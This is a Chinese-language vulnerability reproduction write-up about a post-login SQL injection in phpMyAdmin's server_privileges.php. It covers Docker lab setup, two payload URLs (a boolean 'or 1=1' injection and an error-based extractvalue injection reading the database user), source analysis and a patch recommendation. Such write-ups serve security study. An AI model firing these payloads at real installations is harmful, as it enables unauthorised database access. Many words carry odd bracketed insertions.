溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

如何進(jìn)行phpMyAdmin后臺(tái)SQL注入

發(fā)布時(shí)間:2021-10-11 11:21:57 來(lái)源:億速云 閱讀:240 作者:柒染 欄目:大數(shù)據(jù)

如何進(jìn)行phpMyAdmin后臺(tái)SQL注入,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

0x01 簡(jiǎn)介    
phpMyAdmin 是一個(gè)以PHP為基礎(chǔ),以Web-Base方式架構(gòu)在網(wǎng)站主機(jī)上的MySQL的數(shù)據(jù)庫(kù)管理工具,讓管理者可用Web接口管理MySQL數(shù)據(jù)庫(kù)。借由此Web接口可以成為一個(gè)簡(jiǎn)易方式輸入繁雜SQL語(yǔ)法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。    


0x02 漏洞概述      
   

用戶(hù)界面SQL執(zhí)行語(yǔ)句存在可控變量,且未對(duì)可控參數(shù)進(jìn)行過(guò)濾直接拼接??稍斐傻蜋?quán)限用戶(hù)越權(quán)執(zhí)行SQL指令。


0x03 影響版本    
前提:已知一個(gè)用戶(hù)名密碼    
phpMyAdmin 4 < 4.9.4    
phpMyAdmin 5 < 5.0.1    


0x04 環(huán)境搭建

在線(xiàn)環(huán)境:      
轉(zhuǎn)發(fā)本文至朋友圈并截圖發(fā)至公眾號(hào)內(nèi)
自行搭建:
本次復(fù)現(xiàn)環(huán)境使用PhpMyAdmin4.5.0版本,使用docker搭建。      
     
git clone https://github.com/Paper-Pen/TLSHUB.gitcd TLSHUB/phpAdmin/docker-compose up -ddocker ps
     


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


訪(fǎng)問(wèn)頁(yè)面http://xx.xx.xx.xx:8001
數(shù)據(jù)庫(kù)賬號(hào)密碼root/li9hu      
環(huán)境搭建好了,可以開(kāi)始進(jìn)行漏洞復(fù)現(xiàn)了      


0x05 漏洞復(fù)現(xiàn)

簡(jiǎn)單總結(jié)流程:    
頁(yè)面位置server_privileges.php;    
設(shè)置變量ajax_requests為true;    
設(shè)置變量validate_username 為真值;    
設(shè)置變量username 為我們拼接的注入語(yǔ)句。
   

   
構(gòu)造payload:    
http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
   


(token和其余參數(shù)會(huì)在訪(fǎng)問(wèn)頁(yè)面的時(shí)候自動(dòng)提供)    
我們查看后端收到的數(shù)據(jù),可以看到SQL已經(jīng)成功拼接。          


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


執(zhí)行完畢后程序只會(huì)告知SQL是否執(zhí)行成功,失敗會(huì)報(bào)錯(cuò),因此此處我們可以利用報(bào)錯(cuò)注入。      
   


構(gòu)造payload:          
http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server
   


結(jié)果如下,可以看到已經(jīng)成功執(zhí)行了我們注入的指令。    


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


0x06 漏洞分析    
定位到文件libraries/server_privileges.lib.php,此處就是SQL注入存在點(diǎn),username和validate_username都可控,我們往上回溯定位if所在的函數(shù)。    


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


可以看到if處于PMA_getExtraDataForAjaxBehavior函數(shù)內(nèi)。下一步使用phpsotorm快捷鍵ctrl+B定位到觸發(fā)此函數(shù)的點(diǎn)。    


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


跳轉(zhuǎn)到文件server_privileges.php可以看到$extra_data觸發(fā)了此函數(shù),處于一個(gè)if內(nèi),下一步快捷鍵ctrl+shift+F全局搜索變量is_ajax_request,看看是否可控讓其為真值。    


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


跳轉(zhuǎn)到文件libraries/common.inc.php這里有可控變量ajax_request只要給它附true就可以返回true了。    


如何進(jìn)行phpMyAdmin后臺(tái)SQL注入


0x07 修復(fù)方式

更新官方最新補(bǔ)丁

看完上述內(nèi)容,你們掌握如何進(jìn)行phpMyAdmin后臺(tái)SQL注入的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI